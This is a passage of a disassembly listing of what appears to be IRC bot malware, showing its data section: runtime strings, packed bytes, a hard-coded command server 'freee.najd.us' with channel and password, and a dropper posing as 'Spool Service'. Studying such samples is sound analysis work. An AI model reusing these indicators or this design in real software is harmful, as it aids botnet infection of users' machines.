dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aCyber db 'CYBER',0 ; DATA XREF: .nsp0:00404F7Do
; .nsp0:00405060o ...
align 10h
aCyber_0 db 'CYBER',0 ; DATA XREF: .nsp0:00405384o
; .nsp0:004053C0o ...
align 4
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D12A+62o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 8
dbl_427688 dq 1.388888888888889e-2 ; DATA XREF: sub_40CF3C+2Fr
dbl_427690 dq 1.666666666666667e-1 ; DATA XREF: sub_40CF3C+15r
dword_427698 dd 0FFFFFFFFh ; sub_40D3C6r ...
align 10h
dbl_4276A0 dq 1.333333333333333 ; DATA XREF: sub_40CF88+79r
dword_4276A8 dd 0 ; sub_40D476+5Bo ...
flt_4276AC dd 5.0e-1 ; DATA XREF: .nsp0:0040DF83r
dbl_4276B0 dq 9.765625e-4 ; DATA XREF: .nsp0:00416CBFr
; .nsp0:00416CDAr ...
dbl_4276B8 dq -1.52587890625e-4 ; DATA XREF: sub_4180E3+3E5r
dbl_4276C0 dq 3.0517578125e-4 ; DATA XREF: sub_4180E3+3C5r
dbl_4276C8 dq -3.0517578125e-4 ; DATA XREF: sub_4180E3+342r
; sub_4180E3+3A7r
dbl_4276D0 dq 1.52587890625e-4 ; DATA XREF: sub_4180E3+271r
dbl_4276D8 dq -1.739501953125e-3 ; DATA XREF: sub_4180E3+24Br
; sub_4180E3+2D5r ...
dbl_4276E0 dq 3.11279296875e-3 ; DATA XREF: sub_4180E3+E1r
dbl_4276E8 dq 3.0517578125e-5 ; DATA XREF: sub_4180E3+AEr
; sub_4180E3+138r ...
dbl_4276F0 dq 6.103515625e-5 ; DATA XREF: sub_4180E3+93r
; sub_4180E3+308r
dbl_4276F8 dq 2.288818359375e-3 ; DATA XREF: sub_4180E3+21r
dbl_427700 dq -3.0517578125e-5 ; DATA XREF: sub_418F1D+2Br
flt_427708 dd 9.765625e-4 ; DATA XREF: sub_41AD75+1AEr
flt_42770C dd 8.0 ; DATA XREF: sub_41AD75+1A8r
; sub_41F504+4Ar
flt_427710 dd 0.0 ; DATA XREF: sub_41AD75+16Fr
flt_427714 dd 1.0e-3 ; DATA XREF: sub_41AD75+166r
dbl_427718 dq 1.0 ; DATA XREF: sub_41CD19+6Cr
; sub_41CE5F+6Cr ...
dword_427720 dd 0FFFFFFFFh, 41E0DAh, 41E0EEhbyte_42772C db 6 ; DATA XREF: sub_41F504:loc_41F55Br
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
dd 8000008h, 7000800h, 8
aNull: ; DATA XREF: .nsp0:off_44277Co
unicode 0, <(null)>,0
align 4
aNull_0 db '(null)',0 ; DATA XREF: .nsp0:off_442778o
align 10h
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 4
aFmod db 'fmod',0
align 4
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 4
aModf db 'modf',0
align 4
aFabs db 'fabs',0
align 4
aFloor db 'floor',0
align 4
aCeil db 'ceil',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 4
aAtan2 db 'atan2',0
align 10h
aAtan db 'atan',0
align 4
aAcos db 'acos',0
align 10h
aAsin db 'asin',0
align 4
aTanh db 'tanh',0
align 10h
aCosh db 'cosh',0
align 4
aSinh db 'sinh',0
align 10h
aLog10 db 'log10',0
align 4
aLog db 'log',0
aPow db 'pow',0
aExp db 'exp',0 ; DATA XREF: .nsp0:off_4429F4o
align 8
dbl_427858 dq 0.0 ; DATA XREF: sub_4211C4+8Cr
; sub_4211C4+ACr ...
dbl_427860 dq 4.195835e6 ; DATA XREF: sub_4216D9+Fr
dbl_427868 dq 3.145727e6 ; DATA XREF: sub_4216D9+6r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_421717+Fo
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_421717o
align 4
aE000 db 'e+000',0 ; DATA XREF: sub_42183E+93o
align 10h
dword_4278A0 dd 0FFFFFFFFh, 421F29h, 421F33h, 0dword_4278B0 dd 0FFFFFFFFh, 0 dd offset loc_4220AF
align 10h
dd offset sub_42208D
dd offset sub_422097
dword_4278C8 dd 0FFFFFFFFh, 4222DFh, 4222E3h, 0dword_4278D8 dd 0FFFFFFFFh, 422341h, 42234Ah, 0dword_4278E8 dd 0FFFFFFFFh, 0 dd offset loc_42241D
align 8
dd offset loc_422409
dd offset loc_42240D
dword_427900 dd 0FFFFFFFFh, 0 dd offset loc_422473
align 10h
dd offset loc_42245F
dd offset loc_422463
dword_427918 dd 2 dup(0) ; .nsp0:00423B88o ...
dword_427920 dd 0FFFFFFFFh, 422ACBh, 422ACFh, 0FFFFFFFFh, 422B7Fh, 422B83h
; DATA XREF: .nsp0:004229C0o
dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
dd 65682065h, 0A0D7061h, 0
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 4
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 10h
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 4
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 10h
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 10h
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 10h
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 10h
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 4
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .nsp0:off_442E4Co
db '- floating point not loaded',0Dh,0Ah,0
align 10h
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0
align 4
db 0Ah
db 0Ah,0
align 4
aRuntimeErrorPr db 'Runtime Error!',0Ah
db 0Ah
db 'Program: ',0
align 4
a___ db '...',0
aProgramNameUnk db '<program name unknown>',0
align 8
dword_427C28 dd 0FFFFFFFFh, 423C48h, 423C4ChaSunmontuewedth db 'SunMonTueWedThuFriSat',0
align 4
aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 4
aTz db 'TZ',0 ; DATA XREF: sub_42464C+Ao
align 4
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: .nsp0:00424CEAo
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: .nsp0:00424CE2o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: .nsp0:00424CD1o
a1Qnan db '1#QNAN',0 ; DATA XREF: sub_4254EE:loc_4255E3o
align 10h
a1Inf db '1#INF',0 ; DATA XREF: sub_4254EE+D8o
align 4
a1Ind db '1#IND',0 ; DATA XREF: sub_4254EE+C7o
align 10h
a1Snan db '1#SNAN',0 ; DATA XREF: sub_4254EE+ADo
align 4
dword_427CC8 dd 0FFFFFFFFh, 425EE6h, 425EEAh, 0FFFFFFFFh, 425F55h, 425F59h
; DATA XREF: sub_425D2F+5o
dd 427E18h
off_427CE4 dd offset loc_426488 ; DATA XREF: sub_426290+4Do
; sub_4264A4+Co
dd offset sub_42634E
dd offset sub_42646B
aStringTooLong db 'string too long',0 ; DATA XREF: sub_426290+1Eo
dd offset dword_427E50
off_427D04 dd offset loc_4263B5 ; DATA XREF: sub_4262EA+4Eo
; sub_426378+11o ...
dd offset sub_42634E
dd offset sub_42635B
dd offset dword_427EA0
off_427D14 dd offset loc_426570 ; DATA XREF: sub_4264BC+4Do
; sub_42658C+Co
dd offset sub_42634E
dd offset sub_426553
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_4264BC+1Eo
dd offset dword_427ED0
off_427D3C dd offset sub_426674 ; DATA XREF: sub_426690+8o
; sub_4266CD+8o ...
dd offset sub_42672D
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_42672D+7o
align 4
dd offset dword_427F18
off_427D5C dd offset loc_42674F ; DATA XREF: sub_42673Ao
; .nsp0:off_4432F8o ...
dword_427D60 dd 0E06D7363h, 1, 2 dup(0) dd 3, 19930520h, 2 dup(0)
dword_427D80 dd 0FFFFFFFFh, 42691Ch, 426920h, 0FFFFFFFFh, 426999h, 42699Dh
; DATA XREF: .nsp0:0042681Fo
dword_427D98 dd 0FFFFFFFFh, 426B91h, 426B95h, 0FFFFFFFFh, 426BEEh, 426BF2h
; DATA XREF: .nsp0:00426AAAo
dd 4432F8h, 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_427DC8 dd offset off_443310 ; DATA XREF: .nsp0:00427DFCo
; .nsp0:00427E30o ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
off_427DE0 dd offset off_443330 ; DATA XREF: .nsp0:00427DF8o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427DE0
dd offset off_427DC8
dd offset dword_427D98+18h
dd 0
db 0 ; DATA XREF: .nsp0:00427E28o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 3, 427DF8h, 3 dup(0)
dd offset off_443330
dd offset unk_427E08
align 10h
dd offset off_427DC8
dd offset dword_427D98+18h
dword_427E38 dd 4 dup(0) dd 2, 427E30h
dword_427E50 dd 3 dup(0) dd offset off_443310
dd offset dword_427E38+8
align 8
off_427E68 dd offset off_443350 ; DATA XREF: .nsp0:00427E80o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427E68
dd offset off_427DC8
dd offset dword_427D98+18h
dword_427E8C dd 3 dup(0) dd 3, 427E80h
dword_427EA0 dd 3 dup(0) dd offset off_443350
dd offset dword_427E8C+4
dd offset dword_427D98+18h
dword_427EB8 dd 4 dup(0) dd 1, 427EB4h
dword_427ED0 dd 3 dup(0) dd offset off_4432F8
dd offset dword_427EB8+8
align 8
off_427EE8 dd offset off_443370 ; DATA XREF: .nsp0:00427F00o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427EE8
dd 0
db 0 ; DATA XREF: .nsp0:00427F28o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 1, 427F00h
dword_427F18 dd 3 dup(0) dd offset off_443370
dd offset unk_427F08
align 10h
dword_427F30 dd 19930520h, 2, 427F50h, 5 dup(0) dd 0FFFFFFFFh, 426C74h, 0
dd offset loc_426C6C
dword_427F60 dd 19930520h, 2, 427F80h, 5 dup(0) dd 0FFFFFFFFh, 426C98h, 0
dd offset loc_426CA0
dword_427F90 dd 19930520h, 2, 427FB0h, 1, 427FC0h, 3 dup(0)
; DATA XREF: .nsp0:loc_426CB4o
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 427FD8h, 4 dup(0)
dd offset loc_40D6E0
dd 0
dd offset off_4432F8
dd 0
dd 0FFFFFFFFh, 0
dd 0Ch, 4266CDh, 2 dup(0)
dd offset off_443310
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 4263D1h, 2 dup(0)
dd offset off_443330
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 4264A4h, 0
dword_428048 dd 3, 428028h, 428008h, 427FE8hdword_428058 dd 0 ; sub_42646B+12o
dd offset sub_42642E
dd 0
dd offset dword_428048
dword_428068 dd 19930520h, 1, 428088h, 5 dup(0) dd 0FFFFFFFFh, 426CC0h
dword_428090 dd 19930520h, 1, 4280B0h, 5 dup(0)dword_4280B0 dd 0FFFFFFFFh, 426CD4h, 2, 428008h, 427FE8h, 0dword_4280C8 dd 0 dd offset sub_426378
dd 0
dd offset dword_4280B0+8
dword_4280D8 dd 19930520h, 1, 4280F8h, 5 dup(0) dd 0FFFFFFFFh, 426CE8h
dword_428100 dd 19930520h, 1, 428120h, 5 dup(0) dd 0FFFFFFFFh, 426CFCh
dword_428128 dd 19930520h, 1, 428148h, 5 dup(0) dd 0FFFFFFFFh, 426D10h, 0
dd offset off_443350
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 42658Ch, 0
dword_428170 dd 3, 428150h, 428008h, 427FE8hdword_428180 dd 0 ; sub_426553+12o
dd offset sub_426516
dd 0
dd offset dword_428170
dword_428190 dd 19930520h, 1, 4281B0h, 5 dup(0) dd 0FFFFFFFFh, 426D24h
dword_4281B8 dd 19930520h, 1, 4281D8h, 5 dup(0) dd 0FFFFFFFFh, 426D38h, 28408h, 2 dup(0)
dd 2847Eh, 271D8h, 28410h, 2 dup(0)
dd 28494h, 271E0h, 28230h, 2 dup(0)
dd 28CFAh, 27000h, 5 dup(0)
dd 0F1036C3Eh, 884B0CB1h, 0C478E7C4h, 3B005928h, 11A8548Fh
dd 10AE9B47h, 6C73A4FBh, 452CBAB3h, 0CFE2E49Eh, 65367E63h
dd 3BAFFAEDh, 0FDA946h, 0A3BEBA4h, 36ADF5C5h, 52BC02DFh
dd 0E518726Dh, 738C2B3Ah, 91B94939h, 0C5F8976Bh, 0BA6337AEh
dd 33DC82D7h, 3B18A85Eh, 0FBBBB6B2h, 6DB58657h, 0A4ACE55Ah
dd 26C5099Ch, 0D2A96B47h, 1E458E1Ch, 0B22F6C93h, 5610592Ah
dd 3D48D393h, 307D8DA6h, 0E8F5D8Dh, 0D6BADD46h, 8C6B561Dh
dd 1F469DFBh, 0C9F2AF90h, 0AF3E60B2h, 0D8779DF0h, 24350593h
dd 0C0A38200h, 5C9407C3h, 74C41A9Ah, 0AE5BEA40h, 79421742h
dd 0D8BC8EFDh, 4C4E91F1h, 32AE787Ah, 0E540E06Fh, 0C528E9AFh
dd 0A4119F64h, 0AEC7078Fh, 95F7F37Eh, 624967ACh, 912C1A83h
dd 0A1074FBCh, 6CBD2D1Eh, 95620D64h, 0BC67AF54h, 0F2ECEB82h
dd 0BC3AFC3h, 1588A264h, 9BB4BA21h, 385F8860h, 14F97637h
dd 392B874h, 81E3D7B2h, 81F67FA2h, 2056BECDh, 0F4B9197Fh
dd 0D472C777h, 22EB99Ch, 2EE48E6Bh, 0BC7F8DE1h, 9BFD01E7h
dd 4491BB02h, 924D6334h, 7587E4BEh, 1BF4EE3Bh, 15EB626h
dd 717C1E8Ah, 45900B7Eh, 771FE28Eh, 0DF0AD45Bh, 7B1C6533h
dd 0F3BBCC71h, 0ADC887B7h, 0EC3138B0h, 12FDE1A7h, 0B9900393h
dd 0CC4F107Fh, 0A165A468h, 485D22E5h, 929A2088h, 96C152FAh
dd 5CD42B8Fh, 0FB2B185Dh, 0E6D84243h, 0C4AB0FA6h, 9EF3FDB2h
dd 557B2675h, 50FD2C53h, 3E7AB3C5h, 3F0840F8h, 72E5D8EFh
dd 0B060ED8h, 13ADF679h, 0BFAAF59Fh, 3B8A2427h, 88AC463Bh
dd 6CA0D2C4h, 0A68AF6ECh, 585EFB48h, 825627D0h, 7B659289h
dd 68417EDFh, 0D7293E8Ch, 0
dd 0CE84D27Bh, 0
dd 1BB97791h, 0EFD8384Bh, 24665E57h, 0AAD61AB2h, 87CE6EBh
dd 2C961302h, 55965D86h, 861D4410h, 63691269h, 0D8D3B28Fh
dd 56481357h, 0B4C0B6D9h, 0DB1616CDh, 0D2420882h, 92F0E92Dh
dd 0E9DD51BEh, 0EAE4EABBh, 9AEE49E7h, 0CE1EC4BAh, 73D3BDE6h
dd 0AD87C87Eh, 0
; ---------------------------------------------------------------------------
push es
add [edx-54h], ch
jmp short loc_4284B5
; ---------------------------------------------------------------------------
dw 29Eh
dd 45837873h, 97CE4B5Eh, 21FD0DF6h, 0FE4D0069h, 741B57A7h
dd 3D00CFh, 90B48D52h, 8B55C626h, 0D2ADh, 3E2934DFh, 725C0754h
dd 7C0Fh, 0B0B20296h, 0B5E665h, 19A007Dh, 0ED9CB8B3h, 2D3F9D3h
; ---------------------------------------------------------------------------
xchg eax, ecx
loc_4284B5: ; CODE XREF: .nsp0:0042846Cj
add [ebx], bl
add [ebx+10h], ah
stc
in al, dx
push 47A730A5h
jl short near ptr dword_428410+4Eh
add [eax+eax+38h], al
insb
stosb
; ---------------------------------------------------------------------------
db 0FEh, 38h, 9Dh
dd 5F8AA044h, 0FA94E69h, 1240000h, 9244141Ah, 0F0C13D60h
dd 18EE677Bh, 5C8BF5AAh, 434Fh, 99680159h, 0BE4911DEh
dd 7906DFE6h, 0D36EE258h, 448D61EEh, 4A0017h, 611EA87Ch
dd 15268641h, 0BE1B17A7h, 570000h, 473DDB7Bh, 93E74BEBh
dd 58180Dh, 0E68101EFh, 3651D82Ch, 4B7E5BB9h, 0F800BCh
dd 0A54DAA86h, 0BB761058h, 31F21E13h, 7336586Ah, 7E21E4h
dd 0D1AF011Ah, 347906B0h, 87996BB0h, 2C7Fh, 0F0C80028h
dd 34019585h, 7651B5h, 0A6C40268h, 0A1ADD4D0h, 0C6194C5h
dd 8014B3CCh, 0AA73FD9Ch, 10D0000h, 2D7CBE2Dh, 62CEFCA6h
dd 0D317EC06h, 29583D6Eh, 63FEh, 3E420126h, 9554BB2Eh
dd 615B0Ah, 8CAD335Dh, 2BB9h, 0C2FC02CEh, 78210EBh, 0DA930498h
dd 0C031F8E4h, 44279EC5h, 3F006Eh, 35F812E6h, 56855E60h
dd 86B8CD53h, 16D0000h, 0A9DA35BEh, 0FF72F49h, 0CD0999C4h
dd 29F0000h, 0C4200D42h, 1D0DF7F4h, 0F0014B2Ah, 0BBF623h
dd 0C6320165h, 38AF19DEh, 7270B2C5h, 8C88h, 690801DDh
dd 0B3C8F0DBh, 16C172h, 2A3E01C2h, 4F6CCDB0h, 485F0F21h
dd 14A4h, 0A467013Eh, 0A5E76FFDh, 12EF4635h, 9FD29B2Bh
dd 0CE0000h, 0A4DDD0EBh, 0DB112B82h, 0E4BBFAEAh, 83755405h
dd 11C0000h, 0C5A8C20Bh, 0A7AF8B75h, 87D0E340h, 0B539h
dd 93DC0175h, 40B1F467h, 0A2526612h, 0BF6073h, 0B7B7007Eh
dd 0AEFDA9A2h, 1E31E8C3h, 1C10000h, 0D9AF969Fh, 0C62B4E68h
dd 0BE73938Fh, 96F086E6h, 0EA9B9F4Bh, 660000h, 0F13C9D26h
dd 76C71CBEh, 34FBA058h, 0AFF136CDh, 0C0374A7Dh, 1AB0000h
dd 49EACFCDh, 0B8630C4Eh, 953610D2h, 17BF610h, 3E4CF7B2h
dd 77D115B7h, 0A9920869h, 14D99646h, 0A14EC43Dh, 550005h
dd 4C1E1487h, 214080F6h, 0C64E4989h, 5D6D06BFh, 54784819h
dd 2DF002Bh, 7A4CF34Ah, 9C94DF2h, 310011h, 0DBED416Bh
dd 0B8719542h, 2E75F9C5h, 2180000h, 4B38128h, 4E3A31D7h
dd 340000h, 4CB7A8B0h, 2F83640Eh, 0F36521h, 0FDE202A7h
dd 5046FE64h, 7530D4F9h, 0D989DFCFh, 2D457h, 5AD6029Eh
dd 0A25D768Eh, 0E4B5BB77h, 6306EC7Dh, 3352h, 2E150063h
dd 9FC23DA1h, 5B4B7A8h, 6A0B84B8h, 0F70023h, 98945066h
dd 6A68D7ADh, 0FD11C799h, 0CCF49785h, 4300C6h, 7B3B759h
dd 72B621D4h, 0B25Dh, 0E82D016Eh, 224CDEFh, 5664E5C4h
dd 6BC6DF12h, 0FB0000h, 557E6FC2h, 2FF1ED74h, 0B0F54543h
dd 0FC18h, 8880112h, 0C17C6380h, 0C1096673h, 9000C9h, 0AC689571h
dd 0D2B8ACFAh, 8A0022h, 60A82F27h, 84D167B2h, 4E2DCB3Bh
dd 0B7E2B165h, 0E4A1E0BCh, 890000h, 0E12B5B31h, 0EFD57FBAh
dd 0B44EA8FCh, 3D5805AAh, 0BE2FF8C9h, 3B2E8Dh, 9902009Dh
dd 494BDD75h, 0B68C23B8h, 112118h, 19410094h, 0D78397E1h
dd 5F682C28h, 0B734C541h, 26A0000h, 581916A9h, 73D57642h
dd 935A79CBh, 9661h, 426A0241h, 372FDA4Bh, 520E9EDh, 37D01FEEh
dd 80300308h, 98837Eh, 775502CCh, 931C2024h, 7F467318h
dd 0DD373D8Ch, 4AA04998h, 73C256F2h, 0B80000h, 9EDD0BEFh
dd 0B60E857Dh, 40C052A2h, 9C2D9F76h, 9103D21Ah, 8EBA67D2h
dd 11B0000h, 3069225Ah, 0BBD12BB4h, 0E9EC4580h, 2060000h
dd 7ADDE644h, 0C7FB1702h, 74B8CAEBh, 0FB7456CBh, 701808B5h
dd 0C3EB8Ah, 0FB650207h, 0E9A396BEh, 93E55281h, 6CC95FD9h
dd 7ED4B0D0h, 6E628175h, 80F308h, 3BC200B4h, 91923B40h
dd 5394E65Ch, 10A0090h, 0DC81ADE6h, 90618179h, 0FC4DA0D2h
dd 2C0B741Dh, 93FEA538h, 0B0BE92h, 1313019Fh, 7396629Ch
dd 8991h, 53A00199h, 3829A6A3h, 14F78h, 66C30140h, 0DBC0E9D8h
dd 0F1816DF5h, 748F75A0h, 2C70000h, 6093176Fh, 16BE6A23h
dd 798B092h, 5339h, 0DE43021Ch, 809DF731h, 183BB1CBh, 0C1906938h
dd 0BE0CD8h, 50C3015Bh, 54E46D3Dh, 370D3DBh, 82132Ah, 464300AFh
dd 0C1E83112h, 0E6B2E6FEh, 0BACF256Eh, 1930000h, 81B7B435h
dd 6CC632AFh, 34070851h, 18C0000h, 71B94772h, 74777ECAh
dd 2042h, 954C02B0h, 286E282Dh, 0EF852171h, 4C34B691h
dd 1D60015h, 77B0C6FCh, 96655F0Ah, 33E9F5C4h, 3500A6h
dd 0B4BC21E5h, 0FE0CB9BBh, 7B72C456h, 0EFFD7ADEh, 0D193h
dd 2A81026Ch, 32DD23CBh, 6457C164h, 1140086h, 0F78BFD43h
dd 0E2E69h, 0D1DA03h, 99FE0080h, 8209B52h, 9180EAE5h, 0E6F5B73Dh
dd 0AFADCE16h, 0DE3D2362h, 0A25BB4h, 0A3C302D2h, 7DF71C01h
dd 0A0760B70h, 0A63089D3h, 0F6DBF883h, 1E4008Dh, 0B1206FF7h
dd 0CAC21477h, 34C8CF0h, 4CB8DEC1h, 0D4E12Bh, 267302FFh
dd 19E7967Fh, 570D7Dh, 0AAD8010Bh, 0B09F0552h, 48167D8Bh
dd 0C8C703B0h, 77E7D648h, 1F90000h, 0B77750DDh, 0F0294C71h
dd 4510EF3Eh, 1200077h, 2B48AB8Eh, 48B52469h, 5EA043B5h
dd 0E5FA8B5Fh, 18D0000h, 5B7B4643h, 96F73A6Bh, 16187F56h
dd 0F999A67Dh, 0DA1Dh, 634E01A2h, 77297699h, 0CB036FD1h
dd 22F0071h, 2BEB16DEh, 0BDEAB4A5h, 1700079h, 0BEE0BB8Dh
dd 0EC063582h, 0BDACB8C5h, 924DB648h, 124839E9h, 9475h
dd 6F7F015Dh, 740392E4h, 9661A91Eh, 5806ECh, 0C7B20150h
dd 0DDAD10C2h, 0D757A7A4h, 9CCE8153h, 0CA007Eh, 9C3EE24Dh
dd 29587894h, 0E1B3E78h, 4BF03Bh, 0F2C30174h, 3990B6CBh
dd 0EB460283h, 19D0000h, 0C493968Fh, 0F95C9552h, 8768CBh
dd 3D0E019Bh, 6AE94AFDh, 5BBA0E6Ch, 2BF0000h, 12495179h
dd 0A31B4814h, 0CC468Ch, 42F702BBh, 3C008F2h, 1FA31C77h
dd 8A4Dh, 146D01B8h, 0CFB6EEE2h, 0EA8E3824h, 137540h, 4FFA00BFh
dd 0FE435881h, 0CAC36Ch, 5E3400B9h, 10DBA3F3h, 1310000h
dd 62982C22h, 44B3F77Eh, 20B0000h, 0F46F561Ah, 6DF683Ch
dd 0BE999628h, 0FD2h, 13A901A3h, 7729C24Bh, 98D5h, 31EF01BFh
dd 0F1878494h, 69709929h, 0F514h, 0C801C0h, 85C55538h
dd 0ACB6BB13h, 9DDDh, 0B0CA02ADh, 44346203h, 91E62DB5h
dd 4B5CF7EDh, 2979D84h, 87D99C75h, 138Fh, 890400B2h, 0DD5219CFh
dd 58CE690Fh, 5F9BA34Ah, 88A3AAD0h, 9E743268h, 0B300C8h
dd 5B901CDEh, 24925182h, 0B0809D80h, 60BE1841h, 67A26F7Fh
dd 0C0EA95h, 5DFD0106h, 4B06D8B7h, 453CAB8Fh, 2F109314h
dd 0EC639FCh, 0F6D395h, 0D7DB0108h, 0BD53239Dh, 8AB6C764h
dd 676C71BEh, 0EBB663E9h, 4542325Fh, 26D0000h, 23122A9h
dd 7811B61Eh, 8BB1DB4h, 0E843h, 0E9080152h, 0AA8A47B9h
dd 744F575Bh, 4E2Ah, 0FA360115h, 64146777h, 0CD24469Ch
dd 27C0045h, 0B3569FABh, 4355A712h, 77F22CBDh, 0AA0000h
dd 4E310EFh, 4D9E7D4Ah, 0C1541C48h, 0D1C927D8h, 1530000h
dd 0B459D116h, 5063F756h, 0DAF64D6h, 709Ah, 1D100156h
dd 0E743FA15h, 62C916A5h, 934E82AAh, 28B0000h, 6CC25DE6h
dd 3F6306E2h, 578BC8C4h, 0EEDA4E07h, 3F054C38h, 3D3FFEAAh
dd 0ECB581h, 7D9A01B5h, 0B8D32751h, 0D12D9180h, 4C84h
dd 7B9001B2h, 656C887Ah, 0D453B83Dh, 0B9B3h, 66470261h
dd 5C9433D5h, 0C0E4E963h, 93B1h, 143E0021h, 0F80432E8h
dd 0D9E5DD0Bh, 91C9F478h
dd 220000h, 95DCF0BEh, 7919B97Ch, 1270B753h, 5DF5h, 0E5710262h
dd 36096327h, 3014097Bh, 5ED9761Ah, 2FCCB233h, 0A71AA38Eh
dd 9FC100CAh, 0AF6B5CC8h, 14868878h, 10D2h, 0BEh dup(0)
dword_429000 dd 0 dd offset loc_40121D
dd offset sub_401239
dd offset sub_40D78E
dd offset sub_40DAD1
dd offset dword_40ECDC+1CEh
dd offset sub_4265A4
dword_42901C dd 0 dword_429020 dd 0 dd offset sub_41D6F2
dd offset sub_4200D2
dd offset sub_422563
dd offset sub_4245B2
dword_429034 dd 0 dword_429038 dd 0 dd offset sub_422608
dword_429040 dd 0 dword_429044 dd 0 ; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 45h, 42h, 0
dword_42904C dd 0 dword_429050 dd 78h align 8
dword_429058 dd 80000002h, 429150h, 80000001h, 429180h, 80000001h, 429150h
; DATA XREF: sub_401000+7o
dword_429070 dd 6272h, 0C7ABh, 0F51h ; sub_4010C3+Bo
dword_42907C dd 7E4h dword_429080 dd 45h ; sub_40B9DD+3Br
dword_429084 dd 201h word_429088 dw 7C7h ; DATA XREF: .nsp0:loc_404768r
align 4
dword_42908C dd 1 dword_429090 dd 1 byte_429094 db 78h ; DATA XREF: .nsp0:00402580r
; .nsp0:0040263Ar ...
align 4
dword_429098 dd 0Ch ; sub_40AC10+5Fr ...
dword_42909C dd 1 ; .nsp0:00401DF1r ...
aXxerooxx db 'XxerooxX',0 ; DATA XREF: .nsp0:004012B2o
; .nsp0:loc_4044A0o ...
align 4
aXxerxx db 'XxerxX',0 ; DATA XREF: .nsp0:loc_40496Fo
align 4
aHi db 'hi',0 ; DATA XREF: .nsp0:0040980Co
; .nsp0:004098DBo
align 4
aFreee_najd_us db 'freee.najd.us',0
align 4
aMss2 db '#mss2',0 ; DATA XREF: .nsp0:loc_41297Co
; sub_412A79:loc_412A93o ...
align 10h
aMss2pass db 'mss2pass',0
align 4
aFreee_najd_u_0 db 'freee.najd.us',0
align 4
aMss2_0 db '#mss2',0
align 4
aMss2pass_0 db 'mss2pass',0
align 10h
aSpools_exe db 'spools.exe',0 ; DATA XREF: .nsp0:00403B43o
; sub_40B9DD+5Eo ...
align 4
aWinntse_bat db 'winntse.bat',0 ; DATA XREF: .nsp0:00412252o
aSpoolService db 'Spool Service',0 ; DATA XREF: sub_401000+Eo
align 4
aO1 db 'o1',0 ; DATA XREF: .nsp0:0040AC8Eo
align 4
aWinntse_dat db 'winntse.dat',0
aI_0 db '+i',0 ; DATA XREF: .nsp0:00409954o
align 4
aO1_0 db '#o1',0 ; DATA XREF: .nsp0:00403813o
; .nsp0:00404B58o ...
aM db '#M',0 ; DATA XREF: .nsp0:00405EACo
align 4
aM_0 db '#M',0 ; DATA XREF: .nsp0:00405BA9o
; .nsp0:00405CF8o
align 4
